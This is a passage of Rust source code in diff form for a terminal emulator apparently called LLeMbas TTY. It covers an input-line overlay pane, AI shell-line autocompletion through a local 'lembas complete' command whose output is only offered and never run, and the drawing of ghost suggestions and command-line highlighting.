|
||||
cursor.y.max(dims.physical_top).min(bottom)
|
||||
}
|
||||
|
||||
/// The ask line as a row of the pane, and the column of its cursor.
|
||||
fn line(&self, cols: usize) -> (Line, usize) {
|
||||
let ask = self.state.lock();
|
||||
let view = editor::view(
|
||||
&ask.prefix,
|
||||
ask.editor.chars(),
|
||||
ask.editor.cursor(),
|
||||
cols,
|
||||
&char_width,
|
||||
);
|
||||
let mut prefix = CellAttributes::default();
|
||||
prefix.set_intensity(Intensity::Bold);
|
||||
if let Some(color) = state::options().colors.prefix {
|
||||
prefix.set_foreground(color);
|
||||
}
|
||||
let mut line = Line::with_width(cols, SEQ_ZERO);
|
||||
line.overlay_text_with_attribute(0, &view.lead, prefix, SEQ_ZERO);
|
||||
let lead_cols: usize = view.lead.chars().map(char_width).sum();
|
||||
line.overlay_text_with_attribute(
|
||||
lead_cols,
|
||||
&view.text,
|
||||
CellAttributes::default(),
|
||||
SEQ_ZERO,
|
||||
);
|
||||
(line, view.cursor_col)
|
||||
}
|
||||
}
|
||||
|
||||
impl Pane for AskOverlay {
|
||||
fn pane_id(&self) -> PaneId {
|
||||
self.delegate.pane_id()
|
||||
}
|
||||
|
||||
fn get_title(&self) -> String {
|
||||
self.delegate.get_title()
|
||||
}
|
||||
|
||||
fn send_paste(&self, text: &str) -> anyhow::Result<()> {
|
||||
let mut ask = self.state.lock();
|
||||
if !ask.done {
|
||||
let outcome = ask.editor.insert_text(text);
|
||||
ask.apply(self.delegate.pane_id(), outcome);
|
||||
}
|
||||
Ok(())
|
||||
}
|
||||
|
||||
fn send_composed_text(&self, text: &str) -> anyhow::Result<()> {
|
||||
self.send_paste(text)
|
||||
}
|
||||
|
||||
fn reader(&self) -> anyhow::Result<Option<Box<dyn std::io::Read + Send>>> {
|
||||
Ok(None)
|
||||
}
|
||||
|
||||
fn writer(&self) -> MappedMutexGuard<'_, dyn std::io::Write> {
|
||||
MutexGuard::map(self.sink.lock(), |sink| {
|
||||
let w: &mut dyn std::io::Write = sink;
|
||||
w
|
||||
})
|
||||
}
|
||||
|
||||
fn resize(&self, size: TerminalSize) -> anyhow::Result<()> {
|
||||
self.delegate.resize(size)
|
||||
}
|
||||
|
||||
fn key_up(&self, _key: KeyCode, _mods: KeyModifiers) -> anyhow::Result<()> {
|
||||
Ok(())
|
||||
}
|
||||
|
||||
fn key_down(&self, key: KeyCode, mods: KeyModifiers) -> anyhow::Result<()> {
|
||||
let key = match map_key(key, mods.remove_positional_mods()) {
|
||||
Some(key) => key,
|
||||
None => return Ok(()),
|
||||
};
|
||||
let mut ask = self.state.lock();
|
||||
if !ask.done {
|
||||
let outcome = ask.editor.key(key);
|
||||
ask.apply(self.delegate.pane_id(), outcome);
|
||||
}
|
||||
Ok(())
|
||||
}
|
||||
|
||||
fn mouse_event(&self, _event: MouseEvent) -> anyhow::Result<()> {
|
||||
Ok(())
|
||||
}
|
||||
|
||||
fn perform_actions(&self, actions: Vec<termwiz::escape::Action>) {
|
||||
self.delegate.perform_actions(actions)
|
||||
}
|
||||
|
||||
fn is_dead(&self) -> bool {
|
||||
self.delegate.is_dead()
|
||||
}
|
||||
|
||||
fn palette(&self) -> ColorPalette {
|
||||
self.delegate.palette()
|
||||
}
|
||||
|
||||
fn domain_id(&self) -> DomainId {
|
||||
self.delegate.domain_id()
|
||||
}
|
||||
|
||||
fn erase_scrollback(&self, erase_mode: ScrollbackEraseMode) {
|
||||
self.delegate.erase_scrollback(erase_mode)
|
||||
}
|
||||
|
||||
fn is_mouse_grabbed(&self) -> bool {
|
||||
false
|
||||
}
|
||||
|
||||
fn is_alt_screen_active(&self) -> bool {
|
||||
false
|
||||
}
|
||||
|
||||
fn set_clipboard(&self, clipboard: &Arc<dyn Clipboard>) {
|
||||
self.delegate.set_clipboard(clipboard)
|
||||
}
|
||||
|
||||
fn get_current_working_dir(&self, policy: CachePolicy) -> Option<Url> {
|
||||
self.delegate.get_current_working_dir(policy)
|
||||
}
|
||||
|
||||
fn get_cursor_position(&self) -> StableCursorPosition {
|
||||
let cols = self.delegate.get_dimensions().cols;
|
||||
let (_, x) = self.line(cols);
|
||||
StableCursorPosition {
|
||||
x,
|
||||
y: self.row(),
|
||||
shape: CursorShape::Default,
|
||||
visibility: CursorVisibility::Visible,
|
||||
}
|
||||
}
|
||||
|
||||
fn get_current_seqno(&self) -> SequenceNo {
|
||||
self.delegate.get_current_seqno()
|
||||
}
|
||||
|
||||
fn get_changed_since(
|
||||
&self,
|
||||
lines: Range<StableRowIndex>,
|
||||
seqno: SequenceNo,
|
||||
) -> RangeSet<StableRowIndex> {
|
||||
let mut dirty = self.delegate.get_changed_since(lines.clone(), seqno);
|
||||
dirty.add(self.row());
|
||||
dirty.intersection_with_range(lines)
|
||||
}
|
||||
|
||||
fn for_each_logical_line_in_stable_range_mut(
|
||||
&self,
|
||||
lines: Range<StableRowIndex>,
|
||||
for_line: &mut dyn ForEachPaneLogicalLine,
|
||||
) {
|
||||
self.delegate
|
||||
.for_each_logical_line_in_stable_range_mut(lines, for_line);
|
||||
}
|
||||
|
||||
fn get_logical_lines(&self, lines: Range<StableRowIndex>) -> Vec<LogicalLine> {
|
||||
self.delegate.get_logical_lines(lines)
|
||||
}
|
||||
|
||||
fn with_lines_mut(&self, lines: Range<StableRowIndex>, with_lines: &mut dyn WithPaneLines) {
|
||||
// Everything of ours is worked out before the pane's own lines are
|
||||
// borrowed, as the terminal's other overlays do.
|
||||
let cols = self.delegate.get_dimensions().cols;
|
||||
let row = self.row();
|
||||
let (line, _) = self.line(cols);
|
||||
|
||||
struct OverlayLines<'a> {
|
||||
with_lines: &'a mut dyn WithPaneLines,
|
||||
row: StableRowIndex,
|
||||
line: Line,
|
||||
}
|
||||
|
||||
impl<'a> WithPaneLines for OverlayLines<'a> {
|
||||
fn with_lines_mut(&mut self, first_row: StableRowIndex, lines: &mut [&mut Line]) {
|
||||
let offset = self.row - first_row;
|
||||
if offset < 0 || offset as usize >= lines.len() {
|
||||
self.with_lines.with_lines_mut(first_row, lines);
|
||||
return;
|
||||
}
|
||||
// The pane's own lines, with the one row replaced by ours.
|
||||
let idx = offset as usize;
|
||||
let (before, rest) = lines.split_at_mut(idx);
|
||||
let (_, after) = rest.split_at_mut(1);
|
||||
let mut refs: Vec<&mut Line> = Vec::with_capacity(before.len() + 1 + after.len());
|
||||
for line in before.iter_mut() {
|
||||
refs.push(&mut **line);
|
||||
}
|
||||
refs.push(&mut self.line);
|
||||
for line in after.iter_mut() {
|
||||
refs.push(&mut **line);
|
||||
}
|
||||
self.with_lines.with_lines_mut(first_row, &mut refs);
|
||||
}
|
||||
}
|
||||
|
||||
self.delegate.with_lines_mut(
|
||||
lines,
|
||||
&mut OverlayLines {
|
||||
with_lines,
|
||||
row,
|
||||
line,
|
||||
},
|
||||
);
|
||||
}
|
||||
|
||||
fn get_lines(&self, lines: Range<StableRowIndex>) -> (StableRowIndex, Vec<Line>) {
|
||||
let cols = self.delegate.get_dimensions().cols;
|
||||
let row = self.row();
|
||||
let (ours, _) = self.line(cols);
|
||||
let (top, mut lines) = self.delegate.get_lines(lines);
|
||||
let offset = row - top;
|
||||
if offset >= 0 && (offset as usize) < lines.len() {
|
||||
lines[offset as usize] = ours;
|
||||
}
|
||||
(top, lines)
|
||||
}
|
||||
|
||||
fn get_dimensions(&self) -> RenderableDimensions {
|
||||
self.delegate.get_dimensions()
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,181 @@
|
||||
//! LLeMbas TTY: the rest of a line asked of LLeMbas, for the suggestion after
|
||||
//! the cursor when the AI's autocomplete is on.
|
||||
//!
|
||||
//! The line so far goes to `lembas complete --shell …` on its standard
|
||||
//! input, off the window's own thread, after a pause in the typing; a request
|
||||
//! that is no longer wanted is stopped. What comes back is a model's text: it
|
||||
//! is cleaned to one plain line (`llembas_line::suggest`) and only ever
|
||||
//! offered, never run.
|
||||
|
||||
use super::state;
|
||||
use llembas_line::suggest;
|
||||
use mux::pane::{CachePolicy, Pane, PaneId};
|
||||
use mux::{Mux, MuxNotification};
|
||||
use parking_lot::Mutex;
|
||||
use std::collections::HashMap;
|
||||
use std::io::{Read, Write};
|
||||
use std::process::{Command, Stdio};
|
||||
use std::sync::Arc;
|
||||
use std::time::{Duration, Instant};
|
||||
|
||||
/// The pause in the typing before LLeMbas is asked.
|
||||
const PAUSE: Duration = Duration::from_millis(350);
|
||||
/// How long an answer is waited for.
|
||||
const PATIENCE: Duration = Duration::from_secs(5);
|
||||
/// The fewest characters a line must have to be asked about.
|
||||
const MIN_CHARS: usize = 3;
|
||||
const MAX_BYTES: usize = 2000;
|
||||
|
||||
#[derive(Default)]
|
||||
struct Ai {
|
||||
next_id: u64,
|
||||
/// The request that is wanted now: the pane, the line, its number.
|
||||
wanted: Option<(PaneId, String, u64)>,
|
||||
/// The last answer for a pane: the line it was for, and the rest (or that
|
||||
/// there was none).
|
||||
answers: HashMap<PaneId, (String, Option<String>)>,
|
||||
}
|
||||
|
||||
lazy_static::lazy_static! {
|
||||
static ref AI: Mutex<Ai> = Mutex::new(Ai::default());
|
||||
}
|
||||
|
||||
/// The shell of a pane by its name, as `lembas complete --shell` takes it.
|
||||
fn shell_of(pane: &Arc<dyn Pane>) -> &'static str {
|
||||
let name = pane
|
||||
.get_foreground_process_name(CachePolicy::AllowStale)
|
||||
.unwrap_or_default();
|
||||
let base = name
|
||||
.rsplit(|c: char| c == '/' || c == '\\')
|
||||
.next()
|
||||
.unwrap_or("");
|
||||
match base.trim_start_matches('-') {
|
||||
"zsh" => "zsh",
|
||||
"fish" => "fish",
|
||||
_ => "bash",
|
||||
}
|
||||
}
|
||||
|
||||
fn still_wanted(id: u64) -> bool {
|
||||
matches!(&AI.lock().wanted, Some((_, _, wanted)) if *wanted == id)
|
||||
}
|
||||
|
||||
fn finish(id: u64, pane_id: PaneId, typed: String, rest: Option<String>) {
|
||||
let mut ai = AI.lock();
|
||||
if matches!(&ai.wanted, Some((_, _, wanted)) if *wanted == id) {
|
||||
ai.wanted = None;
|
||||
}
|
||||
if ai.answers.len() > 256 {
|
||||
ai.answers.clear();
|
||||
}
|
||||
ai.answers.insert(pane_id, (typed, rest));
|
||||
drop(ai);
|
||||
state::changed();
|
||||
Mux::notify_from_any_thread(MuxNotification::PaneOutput(pane_id));
|
||||
}
|
||||
|
||||
fn ask(
|
||||
id: u64,
|
||||
pane_id: PaneId,
|
||||
typed: String,
|
||||
cli: String,
|
||||
shell: &'static str,
|
||||
cwd: Option<String>,
|
||||
) {
|
||||
std::thread::sleep(PAUSE);
|
||||
if !still_wanted(id) {
|
||||
return;
|
||||
}
|
||||
let mut command = Command::new(&cli);
|
||||
command.arg("complete").arg("--shell").arg(shell);
|
||||
if let Some(cwd) = &cwd {
|
||||
command.arg("--cwd").arg(cwd);
|
||||
}
|
||||
command
|
||||
.arg("--timeout-ms")
|
||||
.arg("2500")
|
||||
.env("LLEMBAS_TTY", config::llembas_tty_version())
|
||||
.stdin(Stdio::piped())
|
||||
.stdout(Stdio::piped())
|
||||
.stderr(Stdio::null());
|
||||
let mut child = match command.spawn() {
|
||||
Ok(child) => child,
|
||||
Err(_) => {
|
||||
finish(id, pane_id, typed, None);
|
||||
return;
|
||||
}
|
||||
};
|
||||
if let Some(mut stdin) = child.stdin.take() {
|
||||
let _ = stdin.write_all(typed.as_bytes());
|
||||
}
|
||||
let started = Instant::now();
|
||||
let ok = loop {
|
||||
match child.try_wait() {
|
||||
Ok(Some(status)) => break status.success(),
|
||||
Ok(None) => {}
|
||||
Err(_) => break false,
|
||||
}
|
||||
let wanted = still_wanted(id);
|
||||
if !wanted || started.elapsed() > PATIENCE {
|
||||
let _ = child.kill();
|
||||
let _ = child.wait();
|
||||
if wanted {
|
||||
finish(id, pane_id, typed, None);
|
||||
}
|
||||
return;
|
||||
}
|
||||
std::thread::sleep(Duration::from_millis(25));
|
||||
};
|
||||
let mut answer = String::new();
|
||||
if ok {
|
||||
if let Some(out) = child.stdout.take() {
|
||||
let _ = out.take(8192).read_to_string(&mut answer);
|
||||
}
|
||||
}
|
||||
let rest = suggest::clean_completion(&answer, &typed);
|
||||
finish(id, pane_id, typed, rest);
|
||||
}
|
||||
|
||||
/// The rest of the line, when LLeMbas has answered for exactly this line.
|
||||
/// Otherwise `None`, and LLeMbas is asked (once for a line): when the answer
|
||||
/// comes the pane is drawn again.
|
||||
pub fn suggestion(
|
||||
pane: &Arc<dyn Pane>,
|
||||
typed: &str,
|
||||
cli: &str,
|
||||
cwd: Option<String>,
|
||||
) -> Option<String> {
|
||||
if typed.starts_with(' ') || typed.len() > MAX_BYTES || typed.chars().count() < MIN_CHARS {
|
||||
return None;
|
||||
}
|
||||
let pane_id = pane.pane_id();
|
||||
let mut ai = AI.lock();
|
||||
if let Some((line, rest)) = ai.answers.get(&pane_id) {
|
||||
if line == typed {
|
||||
return rest.clone();
|
||||
}
|
||||
}
|
||||
if let Some((p, line, _)) = &ai.wanted {
|
||||
if *p == pane_id && line == typed {
|
||||
return None;
|
||||
}
|
||||
}
|
||||
ai.next_id += 1;
|
||||
let id = ai.next_id;
|
||||
ai.wanted = Some((pane_id, typed.to_string(), id));
|
||||
drop(ai);
|
||||
|
||||
let shell = shell_of(pane);
|
||||
let typed = typed.to_string();
|
||||
let cli = cli.to_string();
|
||||
let spawned = std::thread::Builder::new()
|
||||
.name("llembas-complete".to_string())
|
||||
.spawn(move || ask(id, pane_id, typed, cli, shell, cwd));
|
||||
if let Err(err) = spawned {
|
||||
log::warn!(
|
||||
"LLeMbas: could not start a thread to ask for a completion: {:#}",
|
||||
err
|
||||
);
|
||||
}
|
||||
None
|
||||
}
|
||||
@@ -0,0 +1,694 @@
|
||||
//! LLeMbas TTY: what the terminal draws on the shell's input line.
|
||||
//!
|
||||
//! - the rest of the line, dimmed after the cursor: from the terminal's own
|
||||
//! history of commands, or from LLeMbas when the AI's autocomplete is on;
|
||||
//! - the command line in colours;
|
||||
//! - a word from the terminal at the cursor's row, for a moment.
|
||||
//!
|
||||
//! All of it is drawn at the moment a pane is painted and nowhere else:
|
||||
//! nothing is written to the pane, and the terminal's own model of the screen
|
||||
//! is not touched. The pane's lines are handed to the painter as they are,
|
||||
//! except for the few rows that are drawn differently, which are copies. The
|
||||
//! same way the terminal's quick select marks its matches.
|
||||
//!
|
||||
//! It needs the shell integration (which marks the cells of the input line)
|
||||
//! and is off for a pane while a full-screen program has it.
|
||||
//!
|
||||
//! What a line of text means is `llembas_line` (the input line among the
|
||||
//! cells, the parts of a command line, the history); this file fetches the
|
||||
//! cells and places the result.
|
||||
|
||||
use super::{complete, state};
|
||||
use llembas_line::suggest;
|
||||
use llembas_line::tokens::{self, Kind, Role};
|
||||
use llembas_line::zone::{self, Zone};
|
||||
use mux::pane::{CachePolicy, Pane, PaneId, WithPaneLines};
|
||||
use mux::renderable::{RenderableDimensions, StableCursorPosition};
|
||||
use mux::Mux;
|
||||
use parking_lot::Mutex;
|
||||
use std::collections::HashMap;
|
||||
use std::io::Write;
|
||||
use std::ops::Range;
|
||||
use std::path::{Path, PathBuf};
|
||||
use std::sync::Arc;
|
||||
use std::time::{Duration, Instant};
|
||||
use termwiz::cell::{CellAttributes, Intensity, SemanticType};
|
||||
use termwiz::color::ColorAttribute;
|
||||
use termwiz::surface::{SequenceNo, SEQ_ZERO};
|
||||
use wezterm_term::{Line, StableRowIndex};
|
||||
|
||||
/// An input line of more rows than this is left alone.
|
||||
const MAX_ROWS: usize = 3;
|
||||
/// How long it is remembered whether a command exists.
|
||||
const COMMAND_MEMORY: Duration = Duration::from_secs(20);
|
||||
|
||||
/// What is drawn differently on one row.
|
||||
#[derive(Debug, Clone)]
|
||||
struct RowPlan {
|
||||
row: StableRowIndex,
|
||||
/// The text colour of some cells: first column, columns, colour.
|
||||
colors: Vec<(usize, usize, ColorAttribute)>,
|
||||
/// Text placed from a column on.
|
||||
texts: Vec<(usize, String, CellAttributes)>,
|
||||
}
|
||||
|
||||
/// What is drawn differently in a pane.
|
||||
#[derive(Debug, Clone, Default)]
|
||||
pub struct Plan {
|
||||
/// By row, each row once.
|
||||
rows: Vec<RowPlan>,
|
||||
/// The rest of the line that is offered after the cursor, all of it.
|
||||
pub suggestion: Option<String>,
|
||||
}
|
||||
|
||||
impl Plan {
|
||||
fn row_mut(&mut self, row: StableRowIndex) -> &mut RowPlan {
|
||||
let at = match self.rows.iter().position(|r| r.row == row) {
|
||||
Some(at) => at,
|
||||
None => {
|
||||
self.rows.push(RowPlan {
|
||||
row,
|
||||
colors: Vec::new(),
|
||||
texts: Vec::new(),
|
||||
});
|
||||
self.rows.len() - 1
|
||||
}
|
||||
};
|
||||
&mut self.rows[at]
|
||||
}
|
||||
}
|
||||
|
||||
/// What a plan was worked out for. While it is the same, so is the plan.
|
||||
#[derive(Debug, Clone, PartialEq)]
|
||||
struct PlanKey {
|
||||
seqno: SequenceNo,
|
||||
x: usize,
|
||||
y: StableRowIndex,
|
||||
cols: usize,
|
||||
top: StableRowIndex,
|
||||
active: bool,
|
||||
generation: u64,
|
||||
}
|
||||
|
||||
lazy_static::lazy_static! {
|
||||
static ref PLANS: Mutex<HashMap<PaneId, (PlanKey, Option<Arc<Plan>>)>> =
|
||||
Mutex::new(HashMap::new());
|
||||
/// Whether a command exists, and when that was looked up.
|
||||
static ref COMMANDS: Mutex<HashMap<String, (bool, Instant)>> = Mutex::new(HashMap::new());
|
||||
}
|
||||
|
||||
/// The columns a character takes.
|
||||
fn char_width(c: char) -> usize {
|
||||
let mut buf = [0u8; 4];
|
||||
wezterm_term::unicode_column_width(c.encode_utf8(&mut buf), None)
|
||||
}
|
||||
|
||||
fn text_width(text: &str) -> usize {
|
||||
text.chars().map(char_width).sum()
|
||||
}
|
||||
|
||||
/// The cells of a line, for `llembas_line::zone`.
|
||||
fn row_of(line: &Line) -> zone::Row {
|
||||
line.visible_cells()
|
||||
.map(|cell| zone::Cell {
|
||||
col: cell.cell_index(),
|
||||
width: cell.width(),
|
||||
text: cell.str().to_string(),
|
||||
input: cell.attrs().semantic_type() == SemanticType::Input,
|
||||
})
|
||||
.collect()
|
||||
}
|
||||
|
||||
/// The column after the last cell of a line that shows something.
|
||||
fn used_cols(line: &Line) -> usize {
|
||||
let mut used = 0;
|
||||
for cell in line.visible_cells() {
|
||||
if !cell.str().trim().is_empty() {
|
||||
used = cell.cell_index() + cell.width().max(1);
|
||||
}
|
||||
}
|
||||
used
|
||||
}
|
||||
|
||||
/// The blank columns of a line from column `from` on, up to the first cell
|
||||
/// that shows something.
|
||||
fn blank_room(line: &Line, from: usize, cols: usize) -> usize {
|
||||
if from >= cols {
|
||||
return 0;
|
||||
}
|
||||
let mut end = cols;
|
||||
for cell in line.visible_cells() {
|
||||
if cell.cell_index() >= from && !cell.str().trim().is_empty() {
|
||||
end = cell.cell_index().min(cols);
|
||||
break;
|
||||
}
|
||||
}
|
||||
end.saturating_sub(from)
|
||||
}
|
||||
|
||||
#[cfg(unix)]
|
||||
fn this_host() -> Option<String> {
|
||||
let mut buf = [0u8; 256];
|
||||
let rc = unsafe { libc::gethostname(buf.as_mut_ptr() as *mut libc::c_char, buf.len() - 1) };
|
||||
if rc != 0 {
|
||||
return None;
|
||||
}
|
||||
let len = buf.iter().position(|b| *b == 0).unwrap_or(buf.len());
|
||||
Some(String::from_utf8_lossy(&buf[..len]).to_lowercase())
|
||||
}
|
||||
|
||||
#[cfg(not(unix))]
|
||||
fn this_host() -> Option<String> {
|
||||
None
|
||||
}
|
||||
|
||||
/// Is `host` (of a pane's directory, as its shell reported it) this machine?
|
||||
fn is_this_host(host: &str) -> bool {
|
||||
let host = host.to_lowercase();
|
||||
if host.is_empty() || host == "localhost" {
|
||||
return true;
|
||||
}
|
||||
match this_host() {
|
||||
Some(mine) => {
|
||||
let short = |s: &str| s.split('.').next().unwrap_or("").to_string();
|
||||
mine == host || short(&mine) == short(&host)
|
||||
}
|
||||
None => false,
|
||||
}
|
||||
}
|
||||
|
||||
/// What can be looked up for a pane whose shell is on this machine: whether a
|
||||
/// command exists and whether a path does. `None` for a shell somewhere else
|
||||
/// (a pane of another domain, or `ssh` inside a pane), where this machine's
|
||||
/// files say nothing.
|
||||
struct Lookups {
|
||||
cwd: Option<PathBuf>,
|
||||
}
|
||||
|
||||
impl Lookups {
|
||||
fn for_pane(pane: &Arc<dyn Pane>) -> Option<Lookups> {
|
||||
let mux = Mux::try_get()?;
|
||||
let domain = mux.get_domain(pane.domain_id())?;
|
||||
if domain.domain_name() != "local" {
|
||||
return None;
|
||||
}
|
||||
let cwd = match pane.get_current_working_dir(CachePolicy::AllowStale) {
|
||||
Some(url) => {
|
||||
if !is_this_host(url.host_str().unwrap_or("")) {
|
||||
return None;
|
||||
}
|
||||
url.to_file_path().ok()
|
||||
}
|
||||
None => None,
|
||||
};
|
||||
Some(Lookups { cwd })
|
||||
}
|
||||
|
||||
/// A word as a path of this machine; `None` when it cannot be one.
|
||||
fn resolve(&self, word: &str) -> Option<PathBuf> {
|
||||
if word.is_empty() || word.len() > 512 {
|
||||
return None;
|
||||
}
|
||||
if word == "~" {
|
||||
return Some(config::HOME_DIR.clone());
|
||||
}
|
||||
if let Some(rest) = word.strip_prefix("~/") {
|
||||
return Some(config::HOME_DIR.join(rest));
|
||||
}
|
||||
if word.starts_with('~') {
|
||||
return None;
|
||||
}
|
||||
let path = Path::new(word);
|
||||
if path.is_absolute() {
|
||||
return Some(path.to_path_buf());
|
||||
}
|
||||
self.cwd.as_ref().map(|cwd| cwd.join(path))
|
||||
}
|
||||
|
||||
fn path_exists(&self, word: &str) -> bool {
|
||||
match self.resolve(word) {
|
||||
Some(path) => path.exists(),
|
||||
None => false,
|
||||
}
|
||||
}
|
||||
|
||||
fn command_exists(&self, word: &str) -> bool {
|
||||
if word.is_empty() {
|
||||
return false;
|
||||
}
|
||||
if tokens::is_builtin(word) {
|
||||
return true;
|
||||
}
|
||||
if word.contains('/') {
|
||||
return match self.resolve(word) {
|
||||
Some(path) => is_program(&path),
|
||||
None => false,
|
||||
};
|
||||
}
|
||||
let now = Instant::now();
|
||||
let mut known = COMMANDS.lock();
|
||||
if let Some((exists, at)) = known.get(word) {
|
||||
if now.duration_since(*at) < COMMAND_MEMORY {
|
||||
return *exists;
|
||||
}
|
||||
}
|
||||
let exists = match std::env::var_os("PATH") {
|
||||
Some(path) => std::env::split_paths(&path).any(|dir| is_program(&dir.join(word))),
|
||||
None => false,
|
||||
};
|
||||
if known.len() > 1024 {
|
||||
known.clear();
|
||||
}
|
||||
known.insert(word.to_string(), (exists, now));
|
||||
exists
|
||||
}
|
||||
}
|
||||
|
||||
#[cfg(unix)]
|
||||
fn is_program(path: &Path) -> bool {
|
||||
use std::os::unix::fs::PermissionsExt;
|
||||
match std::fs::metadata(path) {
|
||||
Ok(meta) => meta.is_file() && meta.permissions().mode() & 0o111 != 0,
|
||||
Err(_) => false,
|
||||
}
|
||||
}
|
||||
|
||||
#[cfg(not(unix))]
|
||||
fn is_program(path: &Path) -> bool {
|
||||
path.is_file()
|
||||
}
|
||||
|
||||
/// The colours of the input line.
|
||||
fn highlight(
|
||||
pane: &Arc<dyn Pane>,
|
||||
colors: &state::Colors,
|
||||
zone: &Zone,
|
||||
top: StableRowIndex,
|
||||
plan: &mut Plan,
|
||||
) {
|
||||
let parsed = tokens::parse(&zone.text);
|
||||
if parsed.tokens.is_empty() {
|
||||
return;
|
||||
}
|
||||
let mut token_colors: Vec<state::Color> = parsed
|
||||
.tokens
|
||||
.iter()
|
||||
.map(|token| match token.kind {
|
||||
Kind::Option => colors.option,
|
||||
Kind::String => colors.string,
|
||||
Kind::Variable => colors.variable,
|
||||
Kind::Operator => colors.operator,
|
||||
Kind::Comment => colors.comment,
|
||||
// decided below, by what the word turns out to be
|
||||
Kind::Command | Kind::Word => None,
|
||||
})
|
||||
.collect();
|
||||
|
||||
// Whether a command exists, whether a path does: only where this
|
||||
// machine's files can say.
|
||||
if let Some(lookups) = Lookups::for_pane(pane) {
|
||||
for word in &parsed.words {
|
||||
let value = match &word.value {
|
||||
Some(value) => value,
|
||||
None => continue,
|
||||
};
|
||||
let (kind, color) = match word.role {
|
||||
Role::Command => (
|
||||
Kind::Command,
|
||||
if lookups.command_exists(value) {
|
||||
colors.command
|
||||
} else {
|
||||
colors.unknown
|
||||
},
|
||||
),
|
||||
Role::Argument | Role::Target => {
|
||||
if !lookups.path_exists(value) {
|
||||
continue;
|
||||
}
|
||||
(Kind::Word, colors.path)
|
||||
}
|
||||
Role::Option | Role::Assignment => continue,
|
||||
};
|
||||
for (i, token) in parsed.tokens.iter().enumerate() {
|
||||
if token.kind == kind && token.start >= word.start && token.end <= word.end {
|
||||
token_colors[i] = color;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
let mut t = 0;
|
||||
for piece in &zone.pieces {
|
||||
while t < parsed.tokens.len() && parsed.tokens[t].end <= piece.start {
|
||||
t += 1;
|
||||
}
|
||||
if t >= parsed.tokens.len() {
|
||||
break;
|
||||
}
|
||||
let token = &parsed.tokens[t];
|
||||
if piece.start < token.start {
|
||||
continue;
|
||||
}
|
||||
if let Some(color) = token_colors[t] {
|
||||
plan.row_mut(top + piece.row as StableRowIndex)
|
||||
.colors
|
||||
.push((piece.col, piece.width, color));
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/// The rest of the line, offered after the cursor.
|
||||
fn ghost(
|
||||
pane: &Arc<dyn Pane>,
|
||||
options: &state::Options,
|
||||
zone: &Zone,
|
||||
line: &Line,
|
||||
cursor: &StableCursorPosition,
|
||||
cols: usize,
|
||||
plan: &mut Plan,
|
||||
) {
|
||||
if !zone.at_end() {
|
||||
return;
|
||||
}
|
||||
let typed = zone.typed();
|
||||
if typed.trim().is_empty() {
|
||||
return;
|
||||
}
|
||||
let pane_id = pane.pane_id();
|
||||
let mut found: Option<(String, suggest::Source)> = None;
|
||||
if options.suggestions {
|
||||
if let Some(rest) = state::history_suggest(typed) {
|
||||
found = Some((rest, suggest::Source::History));
|
||||
}
|
||||
}
|
||||
// LLeMbas is asked only when the history has nothing, never for a private
|
||||
// pane, and only for a shell on this machine.
|
||||
if found.is_none()
|
||||
&& options.ai_complete
|
||||
&& !options.cli.is_empty()
|
||||
&& !state::is_private(pane_id)
|
||||
{
|
||||
if let Some(lookups) = Lookups::for_pane(pane) {
|
||||
let cwd = lookups
|
||||
.cwd
|
||||
.as_ref()
|
||||
.and_then(|cwd| cwd.to_str())
|
||||
.map(|cwd| cwd.to_string());
|
||||
if let Some(rest) = complete::suggestion(pane, typed, &options.cli, cwd) {
|
||||
found = Some((rest, suggest::Source::Ai));
|
||||
}
|
||||
}
|
||||
}
|
||||
let (rest, source) = match found {
|
||||
Some(found) => found,
|
||||
None => return,
|
||||
};
|
||||
let rest = match suggest::clean_rest(&rest) {
|
||||
Some(rest) => rest,
|
||||
None => return,
|
||||
};
|
||||
let shown = suggest::fit(&rest, blank_room(line, cursor.x, cols), &char_width);
|
||||
if shown.is_empty() {
|
||||
return;
|
||||
}
|
||||
let mut attr = CellAttributes::default();
|
||||
match options.colors.ghost {
|
||||
Some(color) => {
|
||||
attr.set_foreground(color);
|
||||
}
|
||||
None => {
|
||||
attr.set_intensity(Intensity::Half);
|
||||
}
|
||||
}
|
||||
// what LLeMbas offered is told apart from what the history did
|
||||
if source == suggest::Source::Ai {
|
||||
attr.set_italic(true);
|
||||
}
|
||||
plan.row_mut(cursor.y).texts.push((cursor.x, shown, attr));
|
||||
plan.suggestion = Some(rest);
|
||||
}
|
||||
|
||||
/// A word from the terminal, at the right of a row.
|
||||
fn place_notice(
|
||||
text: &str,
|
||||
line: Option<&Line>,
|
||||
row: StableRowIndex,
|
||||
taken: usize,
|
||||
cols: usize,
|
||||
colors: &state::Colors,
|
||||
plan: &mut Plan,
|
||||
) {
|
||||
let mut attr = CellAttributes::default();
|
||||
attr.set_italic(true);
|
||||
if let Some(color) = colors.notice {
|
||||
attr.set_foreground(color);
|
||||
}
|
||||
let used = line.map(used_cols).unwrap_or(0).max(taken);
|
||||
let free = cols.saturating_sub(used + 2);
|
||||
let wanted = text_width(text);
|
||||
let room = if free >= wanted.min(16) {
|
||||
free
|
||||
} else {
|
||||
// no room beside what the row shows: over its end, set apart
|
||||
attr.set_reverse(true);
|
||||
cols.saturating_sub(1)
|
||||
};
|
||||
let shown = suggest::fit(text, room, &char_width);
|
||||
if shown.is_empty() {
|
||||
return;
|
||||
}
|
||||
let col = cols.saturating_sub(text_width(&shown));
|
||||
plan.row_mut(row).texts.push((col, shown, attr));
|
||||
}
|
||||
|
||||
fn compute(
|
||||
pane: &Arc<dyn Pane>,
|
||||
active: bool,
|
||||
options: &state::Options,
|
||||
notice: Option<String>,
|
||||
cursor: &StableCursorPosition,
|
||||
dims: &RenderableDimensions,
|
||||
) -> Option<Plan> {
|
||||
let mut plan = Plan::default();
|
||||
let alt = pane.is_alt_screen_active();
|
||||
let bottom = dims.physical_top + (dims.viewport_rows as StableRowIndex - 1).max(0);
|
||||
let around = MAX_ROWS as StableRowIndex;
|
||||
|
||||
let mut cursor_line: Option<Line> = None;
|
||||
let mut taken = 0;
|
||||
if !alt {
|
||||
let first = (cursor.y - around).max(dims.scrollback_top);
|
||||
let (top, lines) = pane.get_lines(first..cursor.y + around + 1);
|
||||
let at = cursor.y - top;
|
||||
if at >= 0 && (at as usize) < lines.len() {
|
||||
let at = at as usize;
|
||||
if options.suggestions || options.highlight || options.ai_complete {
|
||||
let rows: Vec<zone::Row> = lines.iter().map(row_of).collect();
|
||||
if let Some(zone) = zone::input_zone(&rows, at, cursor.x, dims.cols, MAX_ROWS) {
|
||||
if options.highlight {
|
